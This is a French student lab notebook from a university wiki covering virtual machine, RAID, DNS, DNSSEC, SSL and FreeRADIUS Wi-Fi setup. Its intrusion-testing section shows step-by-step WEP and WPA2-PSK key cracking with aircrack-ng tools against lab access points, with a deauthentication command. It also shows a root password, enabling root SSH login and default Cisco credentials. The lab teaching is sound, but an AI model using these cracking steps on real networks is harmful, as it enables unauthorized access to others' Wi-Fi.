Cahier 2016 groupe n°3

De Wiki d'activités IMA
Révision datée du 8 décembre 2016 à 20:34 par Nrichez (discussion | contributions) (Cassage de clef WPA-PSK par force brute)

Gestion de la machine virtuelle

Installation de la machine virtuelle avec Xen

Pour créé la machine virtuelle, on utilise xen-create-image avec les paramètres souhaités :

xen-create-image --hostname=Deadpool --ip=193.48.57.163 --netmask=255.255.255.240 --gateway=193.48.57.171 --dir=/usr/local/xen
     --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --password=********


Puis, on récupère les informations suivantes afin de vérifier diverses paramètres :

General Information
--------------------
Hostname       :  Deadpool
Distribution   :  jessie
Mirror         :  http://debian.polytech-lille.fr/debian/
Partitions     :  swap            128M  (swap)
                  /               4G    (ext3)
Image type     :  sparse
Memory size    :  128M
Kernel path    :  /boot/vmlinuz-3.14-2-amd64
Initrd path    :  /boot/initrd.img-3.14-2-amd64

Networking Information
----------------------
IP Address 1   : 193.48.57.163 [MAC: 00:16:3E:FF:6F:DC]
Netmask        : 255.255.255.240
Gateway        : 193.48.57.171


Creating partition image: /usr/local/xen/domains/Deadpool/swap.img
Done

Creating swap on /usr/local/xen/domains/Deadpool/swap.img
Done

Creating partition image: /usr/local/xen/domains/Deadpool/disk.img
Done

Creating ext3 filesystem on /usr/local/xen/domains/Deadpool/disk.img

(...)

Logfile produced at:
	 /var/log/xen-tools/Deadpool.log

Installation Summary
---------------------
Hostname        :  Deadpool
Distribution    :  jessie
MAC Address     :  00:16:3E:FF:6F:DC
IP Address(es)  :  193.48.57.163 
RSA Fingerprint :  d0:38:7b:89:c7:72:e7:52:d9:b7:5c:5b:ab:3e:fe:3f
Root Password   :  hZsEGmZX

Configuration de la machine virtuelle

On utilise lvcreate pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l'hôte :

lvcreate -L 10G -n /dev/virtual/ima5-Deadpool-home -v
lvcreate -L 10G -n /dev/virtual/ima5-Deadpool-var -v


Commande pour démarrer la machine virtuelle :

xl create /etc/xen/Deadpool.cfg

Commande pour se connecter à la machine virtuelle par console :

xl console Deadpool

Commande pour éteindre la machine virtuelle :

xl shutdown Deadpool

Commande pour détruire la machine virtuelle :

xl destroy Deadpool

Gestion du serveur DAS

Site IBM [1]

Site Hp [2], Maintenance et service G5.

Site Hp [3], Datasheet G5

Site Hp, [4], Datasheet MSA60

Site Hp, [5], Datasheet en Français

Installation des outils HP

Source : http://wiki.csnu.org/index.php/Installation_des_outils_HP_pour_debian

Ajout du dépôt dans /etc/apt/sources.net :

deb http://downloads.linux.hpe.com/SDR/repo/mcp/ jessie/current non-free

Copier / Coller le contenu des clés et les ajouter, liens des clés disponibles à ces adresses :

http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub
http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub
http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub

Ajout des clefs :

apt-key add ./hpPublicKey1024.pub
apt-key add ./hpPublicKey2048.pub
apt-key add ./hpPublicKey2048_key1.pub

On met à jour les paquets et on installe l'utilitaire HP hpssacli :

aptitude update
aptitude install hp-health hpssacli

Commandes disponibles pour hpssacli : https://oitibs.com/hp-acu-command-line-reference/

Configuration des disques

Après avoir installé l'utilitaire HP pour gérer nos disques, nous pouvons enfin savoir les caractéristiques des baies :

hpssacli ctrl all show config


On obtient alors :

Smart Array P800 in Slot 4                (sn: P98690E9SV10C3)


   Port Name: 1I

   Port Name: 2I

   Port Name: 1E

   Port Name: 2E

   Internal Drive Cage at Port 3I, Box 1, OK

   Internal Drive Cage at Port 4I, Box 1, OK

   StorageWorks MSA 60 at Port 1E, Box 1, OK
   array A (SAS, Unused Space: 0  MB)


      logicaldrive 1 (820.2 GB, RAID 5, OK)

      physicaldrive 3I:1:1 (port 3I:box 1:bay 1, SAS, 146 GB, OK)
      physicaldrive 3I:1:2 (port 3I:box 1:bay 2, SAS, 146 GB, OK)
      physicaldrive 3I:1:3 (port 3I:box 1:bay 3, SAS, 146 GB, OK)
      physicaldrive 3I:1:4 (port 3I:box 1:bay 4, SAS, 146 GB, OK)
      physicaldrive 4I:1:5 (port 4I:box 1:bay 5, SAS, 146 GB, OK)
      physicaldrive 4I:1:6 (port 4I:box 1:bay 6, SAS, 146 GB, OK)
      physicaldrive 4I:1:8 (port 4I:box 1:bay 8, SAS, 146 GB, OK)
      physicaldrive 4I:1:7 (port 4I:box 1:bay 7, SAS, 146 GB, OK, spare)

   array B (SATA, Unused Space: 0  MB)


      logicaldrive 2 (1.9 TB, RAID 5, Recovering, 0% complete)
      logicaldrive 3 (1.9 TB, RAID 5, Ready for Rebuild)
      logicaldrive 4 (751.2 GB, RAID 5, Ready for Rebuild)

      physicaldrive 1E:1:1 (port 1E:box 1:bay 1, SATA, 1 TB, OK)
      physicaldrive 1E:1:2 (port 1E:box 1:bay 2, SATA, 1 TB, OK)
      physicaldrive 1E:1:4 (port 1E:box 1:bay 4, SATA, 1 TB, OK)
      physicaldrive 1E:1:5 (port 1E:box 1:bay 5, SATA, 1 TB, OK)
      physicaldrive 1E:1:6 (port 1E:box 1:bay 6, SATA, 1 TB, OK)
      physicaldrive 1E:1:11 (port 1E:box 1:bay 11, SATA, 1 TB, Rebuilding)
      physicaldrive 1E:1:3 (port 1E:box 1:bay 3, SATA, 1 TB, OK, spare)

   array C (SATA, Unused Space: 0  MB)


      logicaldrive 5 (1.9 TB, RAID 5, OK)
      logicaldrive 6 (1.7 TB, RAID 5, OK)

      physicaldrive 1E:1:7 (port 1E:box 1:bay 7, SATA, 1 TB, OK)
      physicaldrive 1E:1:8 (port 1E:box 1:bay 8, SATA, 1 TB, OK)
      physicaldrive 1E:1:9 (port 1E:box 1:bay 9, SATA, 1 TB, OK)
      physicaldrive 1E:1:10 (port 1E:box 1:bay 10, SATA, 1 TB, OK)
      physicaldrive 1E:1:12 (port 1E:box 1:bay 12, SATA, 1 TB, OK)
      physicaldrive 1E:1:3 (port 1E:box 1:bay 3, SATA, 1 TB, OK, spare)


Nous avons supprimé (et formaté) tous les disques logiques liés aux disques physiques du StorageWorks MSA 60

hpssacli ctrl slot=4 ld 6 delete
hpssacli ctrl slot=4 ld 5 delete
...
hpssacli ctrl slot=4 ld 2 delete


Puis créé un disque logique en RAID 10 avec tous les disques physiques du MSA60 qui sera notre disque réservé pour la sauvegarde des VM

hpssacli ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=1+0


Enfin, on s'assure que le disque logique a correctement été généré

 array B (SATA, Unused Space: 0  MB)


      logicaldrive 2 (5.5 TB, RAID 1+0, OK)

      physicaldrive 1E:1:1 (port 1E:box 1:bay 1, SATA, 1 TB, OK)
      physicaldrive 1E:1:2 (port 1E:box 1:bay 2, SATA, 1 TB, OK)
      physicaldrive 1E:1:3 (port 1E:box 1:bay 3, SATA, 1 TB, OK)
      physicaldrive 1E:1:4 (port 1E:box 1:bay 4, SATA, 1 TB, OK)
      physicaldrive 1E:1:5 (port 1E:box 1:bay 5, SATA, 1 TB, OK)
      physicaldrive 1E:1:6 (port 1E:box 1:bay 6, SATA, 1 TB, OK)
      physicaldrive 1E:1:7 (port 1E:box 1:bay 7, SATA, 1 TB, OK)
      physicaldrive 1E:1:8 (port 1E:box 1:bay 8, SATA, 1 TB, OK)
      physicaldrive 1E:1:9 (port 1E:box 1:bay 9, SATA, 1 TB, OK)
      physicaldrive 1E:1:10 (port 1E:box 1:bay 10, SATA, 1 TB, OK)
      physicaldrive 1E:1:11 (port 1E:box 1:bay 11, SATA, 1 TB, OK)
      physicaldrive 1E:1:12 (port 1E:box 1:bay 12, SATA, 1 TB, OK)

Montage du disque de sauvegarde sur le serveur Debian

Les disques logiques et leurs partitions sont répertoriés à l'emplacement suivant :

ls /dev/cciss/
c0d0  c0d0p1  c0d0p2  c0d0p5  c0d0p6  c0d0p7  c0d0p8  c0d1

Ici, c0d0 représente le disque logique (p1,p2,...,p8 les partitions) où est installé Debian (disques physiques liés à la station DL380 G5).


On retrouve notre disque logique (disques physiques liés au MSA60) créé précédemment identifié c0d1 :

fdisk -l /dev/cciss/c0d1
Disque /dev/cciss/c0d1 : 5,5 TiB, 6001026883584 octets, 11720755632 secteurs
Unités : secteur de 1 × 512 = 512 octets
Taille de secteur (logique / physique) : 512 octets / 512 octets
taille d'E/S (minimale / optimale) : 512 octets / 512 octets


On transforme notre disque logique en partition ext4 :

mkfs.ext4 /dev/cciss/c0d1


On créer le dossier qui servira de point de montage, puis on monte notre partition dans celui-ci :

mkdir /backup
mount -t auto /dev/cciss/c0d1 /backup


Afin de monter automatiquement notre partition à chaque démarrage, il suffit d'ajouter la ligne suivante dans fstab :

vi /etc/fstab
/dev/cciss/c0d1     /backup    ext4    defaults    0    2


Après redémarrage du serveur, on vérifie si notre disque logique est monté automatiquement :

df -h
Sys. de fichiers  Taille Utilisé Dispo Uti% Monté sur
/dev/cciss/c0d0p1   8,2G    881M  6,9G  12% /
udev                 10M       0   10M   0% /dev
tmpfs               775M    456K  775M   1% /run
tmpfs               5,0M       0  5,0M   0% /run/lock
tmpfs               4,8G       0  4,8G   0% /run/shm
/dev/cciss/c0d0p8   781G     69M  741G   1% /home
/dev/cciss/c0d0p7   360M    2,1M  335M   1% /tmp
/dev/cciss/c0d0p5   2,7G    339M  2,3G  14% /var
/dev/cciss/c0d1     5,5T     58M  5,2T   1% /backup

Script and cie

Tests d'intrusion

Cassage de clef WEP

Via airodump-ng, on liste les réseaux wi-fi protégés par WEP :

airodump-ng --encrypt wep wlx40a5ef01370a

wlx40a5ef01370a représente ici notre interface réseau (équivalant à wlan0 par exemple)


On obtient la liste des réseaux wi-fi suivante :

[ CH  5 ][ Elapsed: 2 mins ][ 2016-11-07 10:30 ][ WPA handshake: 04:DA:D2:CF:01:93 ]                    
                                                                                                      
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                      
 44:AD:D9:5F:87:00  -50       73        0    0  11  54e. WEP  WEP         Wolverine                   
 04:DA:D2:9C:50:51  -64       90        0    0  13  54e. WEP  WEP         cracotte02                  
 04:DA:D2:9C:50:53  -67       58        0    0  13  54e. WEP  WEP         cracotte04                  
 04:DA:D2:9C:50:59  -68       85        0    0  13  54e. WEP  WEP         cracotte10                  
 04:DA:D2:9C:50:56  -74       88     1329   17  13  54e. WEP  WEP         cracotte07                  
 04:DA:D2:9C:50:52  -75       87     2279   14  13  54e. WEP  WEP         cracotte03                  
 04:DA:D2:9C:50:58  -75       87     1751   14  13  54e. WEP  WEP         cracotte09                  
 04:DA:D2:9C:50:57  -75       86     1293    7  13  54e. WEP  WEP         cracotte08                  
 04:DA:D2:9C:50:54  -76       88     1460   15  13  54e. WEP  WEP         cracotte05                  
 04:DA:D2:9C:50:50  -76       80     1345   11  13  54e. WEP  WEP         cracotte01                  
 04:DA:D2:9C:50:55  -76       83     1501   10  13  54e. WEP  WEP         cracotte06                  
 00:3A:7D:12:DC:F2   -1        0        0    0   6  -1                    <length:  0>                


On lance le monitoring sur le réseau que l'on souhaite cracker :

airodump-ng --essid cracotte07 --channel 13 -w testcrack wlx40a5ef01370a
[ CH 13 ][ Elapsed: 1 min ][ 2016-11-07 10:46 ]                                   
                                                                                                      
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                      
 04:DA:D2:9C:50:56  -72  12      608     8283   91  13  54e. WEP  WEP         cracotte07


Nous pouvons ensuite lancer le crackage à l'aide de aircrack-ng :

aircrack-ng testcarck-03.cap
                       Aircrack-ng 1.2 beta3


                 [00:00:00] Tested 84483 keys (got 35490 IVs)

   KB    depth   byte(vote)
    0    0/  5   EE(46080) EF(44032) 53(43008) 7B(43008) FC(43008) 
    1    3/ 15   EE(41984) 8D(41728) DD(41472) 16(41216) 28(41216) 
    2    0/  2   EE(47616) 29(45824) C9(43776) 27(43264) 42(43008) 
    3    0/ 10   EE(44800) A9(44288) 15(43264) C5(42496) 2C(42496) 
    4    0/  1   EE(49920) 2A(45312) 9D(43520) DA(43008) FD(41216) 
    5    0/  4   EE(45312) A1(43520) C6(42240) E8(42240) 76(41472) 
    6    0/  1   EE(50944) 98(42496) BB(42496) 4C(41728) B3(41728) 
    7    0/  1   EE(54272) D3(42752) 19(42240) 08(41984) 58(41984) 
    8    5/  8   F4(41216) 39(40960) 5E(40960) D7(40960) 1E(40704) 
    9    1/  2   E4(45312) 51(43264) A7(42752) 5F(41984) CA(41728) 
   10    0/  1   44(51200) 12(43264) CD(41984) 9C(41216) E5(41216) 
   11    0/  1   44(50176) B0(42240) D2(41728) DC(41728) 62(41472) 
   12    0/  1   44(47872) 0B(44032) B4(42752) D9(42496) 43(41728) 

             KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:E4:44:44:44 ] 
	Decrypted correctly: 100%

La clé est décrypté en quelques secondes !

Cassage de clef WPA-PSK par force brute

blablabla

airmon-ng start wlx40a5ef01370a
crunch 8 8 0123456789 > dico.txt
airmon-ng check kill
airodump-ng --encrypt wpa wlx40a5ef01370a
[ CH  3 ][ Elapsed: 8 s ][ 2016-11-07 11:30 ]                                      
                                                                                                      
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                      
 04:DA:D2:9D:82:A2  -75        2        0    0   4  54e. WPA2 CCMP   PSK  <length:  1>                
 00:19:07:C5:0F:A6  -62        7        0    0   1  54e. WPA2 CCMP   MGT  <length:  1>                
 00:19:07:C5:0F:A0  -63        6        4    0   1  54e. WPA2 CCMP   MGT  LILLE1                      
 00:19:07:C5:0F:A5  -62        6        0    0   1  54e. WPA2 CCMP   PSK  <length:  1>                
 00:19:07:C5:0F:A3  -64        7        0    0   1  54e. WPA2 CCMP   PSK  PolytechGuests              
 00:19:07:C5:0F:A7  -62        6        0    0   1  54e. WPA2 CCMP   MGT  PolytechLilleStaff          
 00:19:07:C5:0F:A2  -63        7        0    0   1  54e. WPA2 CCMP   PSK  <length:  1>                
 00:19:07:C5:0F:A8  -62        6        4    0   1  54e. WPA2 CCMP   MGT  eduroam                     
 00:19:07:C5:0F:A4  -63        8        2    0   1  54e. WPA2 CCMP   MGT  PolytechLille                
 00:19:07:C5:0F:A1  -64        8        6    1   1  54e. WPA2 CCMP   MGT  <length:  1>                
 04:DA:D2:9C:50:58  -70        6        0    0  13  54e. WPA2 CCMP   PSK  cracotte09                  
 04:DA:D2:9C:50:50  -71        6        0    0  13  54e. WPA2 CCMP   PSK  cracotte01                  
 04:DA:D2:9C:50:55  -71        6        0    0  13  54e. WPA2 CCMP   PSK  cracotte06                  
 04:DA:D2:9C:50:53  -71        7        0    0  13  54e. WPA2 CCMP   PSK  cracotte04                   
 04:DA:D2:9C:50:57  -71        7        0    0  13  54e. WPA2 CCMP   PSK  cracotte08                   
 04:DA:D2:9C:50:51  -72        9        0    0  13  54e. WPA2 CCMP   PSK  cracotte02                  
 04:DA:D2:9C:50:56  -72        9        0    0  13  54e. WPA2 CCMP   PSK  cracotte07                  
 04:DA:D2:9C:50:52  -72        8        0    0  13  54e. WPA2 CCMP   PSK  cracotte03                  
 04:DA:D2:9C:50:59  -71        8        0    0  13  54e. WPA2 CCMP   PSK  cracotte10 


blablabla

airodump-ng --essid cracotte03 -c 13 --bssid 04:DA:D2:9C:50:52 -w dump wlx40a5ef01370a
[ CH 13 ][ Elapsed: 4 mins ][ 2016-11-07 11:36 ][ WPA handshake: 04:DA:D2:9C:50:52                     
                                                                                                      
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                      
 04:DA:D2:9C:50:52  -74   9     2573      259    0  13  54e. WPA2 CCMP   PSK  cracotte03              
                                                                                                      
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                            
                                                                                                      
 04:DA:D2:9C:50:52  00:0F:B5:92:23:6A  -58    1e- 1e     0      185 


blablabla

#aireplay-ng --deauth=5 -a 04:DA:D2:9C:50:52


Et enfin, on lance le décodage grâce au dictionnaire généré :

aircrack-ng dump-03.cap -w dico.txt -l KEY

Malheuresement, le décodage étant très long avec un eePC, nous avons recommencé et relancé le décodage sur notre Zabeth préférée.


Après une heure d'acharnement, nous avons enfin une clé ! //image

Services Internet

Serveur SSH

Il suffit d'installer ssh si ce n'est pas déjà fait :

apt-get install ssh


Ensuite, pour autoriser la connexion en root en ssh, on remplace un paramètre dans le fichier /etc/ssh/sshd_config :

#PermitRootLogin without-password
PermitRootLogin yes


Et on redémarre le service :

service ssh restart


Une fois le DNS configuré ci-après, nous pouvons facilement accéder à notre machine virtuelle depuis n'importe où :

ssh root@www.piscinemorte.net
root@www.piscinemorte.net's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Dec  6 18:13:23 2016
root@Deadpool:~# 

Serveur DNS

Configuration sur la machine virtuelle

Nous avons d'abord réservé sur Gandi notre nom de domaine : piscinemorte.net

Ensuite, nous avons installé les paquets bind et apache (le dossier /var/www/www.piscinemorte.net servira pour la page web)

apt-get update
apt-get install apache2 bind9
mkdir /var/www/www.piscinemorte.net


Une fois bind installé, on créer un fichier de zone db.piscinemorte.net (appellé également une "table de DNS")

;
; BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA     ns.piscinemorte.net. root.piscinemorte.net (
                              2         ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800 )       ; Negative Cache TTL
;
        IN      NS      ns.piscinemorte.net.
ns      IN      A       193.48.57.163
www     IN      A       193.48.57.163

Notre DNS (ns) a pour adresse 193.48.57.163, c'est à dire l'IP de notre machine virtuelle.


Enfin, nous configurons le fichier named.conf.local pour autoriser le transfert de paquets vers le DNS Esclave (l'adresse de Gandi dans notre cas) :

zone "piscinemorte.net" {
        type master;
        file "/etc/bind/db.piscinemorte.net";
        allow-transfer {217.70.177.40;};
};


Pour finir, on redémarre notre service bind :

service bind9 restart

Configuration sur Gandi

Sur le site Gandi, depuis la gestion des domaines, il faut :

> Gérer les 'glue records'

'Nom du serveur' : ns.piscinemorte.net
'IP' : 193.48.57.163

> Modifier les serveurs DNS

'DNS1' : ns.piscinemorte.net
'DNS2' : ns6.gandi.net 

Sécurisation de site web par certificat

Pour avoir un certificat SSL généré Gandi, nous avons généré un CSR de la façon suivante :

openssl req -nodes -newkey rsa:2048 -sha1 -keyout piscinemorte.net.key -out piscinemorte.net.csr


Nous avons complété les différentes informations demandés (pas vraiment important ici) :

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:Nord
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:piscinemorte.net
Organizational Unit Name (eg, section) []:piscinemorte.net
Common Name (e.g. server FQDN or YOUR name) []:piscinemorte.net


Une fois notre certificat généré et validé par Gandi, nous plaçons nos fichiers de certification dans les dossiers adéquates :

cp piscinemorte.net.crt /etc/ssl/certs/piscinemorte.net.crt
cp piscinemorte.net.key /etc/ssl/private/piscinemorte.net.key  
cp GandiStandardSSLCA2.pem /etc/ssl/certs/GandiStandardSSLCA2.pem

On notera que GandiStandardSSLCA2.pem est un certificat intermédiaire qui permet de certifier notre certificat.


Nous refaisons un hashage de la structure pour prendre en compte notre certificat :

c_rehash /etc/ssl/certs
Doing /etc/ssl/certs
piscinemorte.net.crt => 651ac028.0
piscinemorte.net.crt => 179c2ae2.0
GandiStandardSSLCA2.pem => 8544bf03.0
GandiStandardSSLCA2.pem => e279a80b.0
ssl-cert-snakeoil.pem => ac2485cc.0
ssl-cert-snakeoil.pem => 1682ec15.0


On créé le fichier 000-piscinemorte.net-ssl.conf dans /etc/apache2/sites-available/ pour associer apache2 avec notre nom de serveur :

#NameVirtualHost *:443
        <VirtualHost 193.48.57.163:443>
                ServerName www.piscinemorte.net
                ServerAlias piscinemorte.net
                DocumentRoot /var/www/www.piscinemorte.net/
                CustomLog /var/log/apache2/secure_acces.log combined

                SSLEngine on
                SSLCertificateFile /etc/ssl/certs/piscinemorte.net.crt
                SSLCertificateKeyFile /etc/ssl/private/piscinemorte.net.key
                SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
                SSLVerifyClient None
        </VirtualHost>
        <Directory /var/www/www.piscinemorte.net>
                Require all granted
        </Directory>
ServerName "piscinemorte.net"


Nous avons modifié le fichier ports.conf du serveur Apache pour qu'il écoute le port 443 (SSL):

Listen 80 443

<IfModule ssl_module>
        Listen 443
</IfModule>


Il ne suffit plus qu'à activer le module SSL de Apache :

a2enmod ssl


Puis activer notre site avec notre certificat :

a2ensite 000-piscinemorte.net-ssl.conf
service apache2 reload
Cadenas vert visible depuis la barre de lien
Certificat délivré pour notre domaine

Sécurisation de serveur DNS par DNSSEC

Tout d'abord, on ajoute une option dans /etc/bind/named.conf.options pour activer dnssec :

dnssec-enable yes;


On créé un répertoire spécial pour y générer les clés

mkdir piscinemorte.net.dnssec
cd piscinemorte.net.dnssec


Puis on génère la clé de signature de clefs de zone (KSK) et la clé de la zone pour signer les enregistrements (ZSK)

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE piscinemorte.net
dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE piscinemorte.net

L'option "-r /dev/urandom" sert à accélérer la génération des clés


Après avoir renommé les clés générées, on les inclue dans notre fichier de zone /etc/bind/db.piscinemorte.net

$include /etc/bind/piscinemorte.net.dnssec/piscinemorte.net-ksk.key
$include /etc/bind/piscinemorte.net.dnssec/piscinemorte.net-zsk.key


On signe les enregistrements de la zone :

dnssec-signzone -o piscinemorte.net -k piscinemorte.net-ksk ../db.piscinemorte.net piscinemorte.net-zsk
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
                    ZSKs: 1 active, 0 stand-by, 0 revoked
../db.piscinemorte.net.signed


Pour finir, il ne reste plus qu'à communiquer la partie publique de la KSK (et ZSK) à notre registrar (sur gandi.net via "Gérer DNSSEC") et vérifier la sécurisation :

Partie publie de la KSK (et ZSK) sur Gandi
Test du DNSSEC

Création de deux points d'accès Wi-Fi avec serveur d'authentification FreeRADIUS

Création du serveur FreeRADIUS

Tout d'abord, nous mettons en place un serveur d'identification FreeRadius en PEAP-MSCHAPv2 qui va tourner sur notre machine virtuelle.

Pour cela, il faut installer FreeRadius :

apt-get install freeradius


Puis, on ajoute un utilisateur dans le fichier /etc/freeradius/users pour s'authentifier sur le réseau WiFi :

nom_de_l_utilisateur Cleartext-password := "mot_de_passe"


On rajoute aussi les clients (correspondants aux deux points d'accès Wifi et à notre futur VLAN) dans le fichier /etc/freeradius/clients.conf :

client E304 {
        ipaddr = 10.60.1.4
        secret = mot_de_passe
}

client E306 {
        ipaddr = 10.60.1.2
        secret = mot_de_passe
}

client VLAN3 {
        ipaddr = 172.20.3.0
        secret = mot_de_passe
}


Pour utiliser le PEAP-MSCHAPv2, on modifie dans le fichier /etc/freeradius/eap.conf les valeurs suivantes :

eap
{
    default_eap_type = peap
    peap
    {
      default_eap_type = mschapv2
    }
}


On fini par redémarrer FreeRadius pour bien prendre en compte les nouveaux paramètres :

service freeradius restart

Configuration des bornes Wi-Fi

Une fois les points d'accès Wifi disponibles, nous pouvons les configurer afin de créer notre propre SSID protégé par la méthode WPA2-EAP avec notre serveur d'authentification FreeRadius.

On commence par se connecter à l'une des deux bornes Wifi via Telnet :

telnet 10.60.1.2


Nous configurons le point d'accès (login : Cisco / password : Cisco) de la manière suivante pour créer notre VLAN et notre SSID :

enable

conf t

aaa new-model
aaa authentication login eap_deadpool group radius_deadpool
radius-server host 193.48.57.163 auth-port 1812 acct-port 1813 key mot_de_passe
aaa group server radius radius_deadpool
server 193.48.57.163 auth-port 1812 acct-port 1813
exit

dot11 ssid Deadpool
vlan 3
authentication open eap eap_deadpool
authentication network-eap eap_deadpool
authentication key-management wpa
mbssid guest-mode
exit

interface Dot11Radio0
encryption vlan 3 mode ciphers aes-ccm tkip
ssid Deadpool
exit

interface Dot11Radio0.3
encapsulation dot1Q 3
no ip route-cache
bridge-group 3
bridge-group 3 subscriber-loop-control
bridge-group 3 spanning-disabled
bridge-group 3 block-unknown-source
no bridge-group 3 source-learning
no bridge-group 3 unicast-flooding 
exit

interface GigabitEthernet0.3
encapsulation dot1Q 3
bridge-group 3
exit
 
exit


Pour le deuxième point d'accès, il suffit de refaire la même chose.

Connexion à notre Wi-Fi

On se connecte à notre point d'accès grâce à nos identifiants créés précédemment dans la configuration de FreeRadius.

On configure l'accès sur un eeepc en modifiant le fichier /etc/network/interfaces :

auto wlan0
iface wlan0 inet static
 address 172.20.3.3
 netmask 255.255.255.0
 gateway 172.20.3.254
 wpa-ssid Deadpool
 wpa-key-mgmt WPA-EAP
 wpa-identity nom_de_l_utilisateur
 wpa-password mot_de_passe


Enfin, on démarre l'interface pour se connecter sur notre point d'accès :

ifup wlan0
ifconfig
//résultats à recup


En ayant préalablement activé les logs des connexions dans la configuration de FreeRadius, on peut observer les authentifications dans /var/log/freeradius/radius.log :

Thu Dec  8 13:56:09 2016 : Info: Loaded virtual server <default>
Thu Dec  8 13:56:09 2016 : Info: Loaded virtual server inner-tunnel
Thu Dec  8 13:56:09 2016 : Info: Ready to process requests.
Thu Dec  8 13:59:58 2016 : Auth: Login OK: [pifou/<via Auth-Type = EAP>] (from client E306 port 0 via TLS tunnel)
Thu Dec  8 13:59:58 2016 : Auth: Login OK: [pifou/<via Auth-Type = EAP>] (from client E306 port 326 cli 40a5.ef05.a110)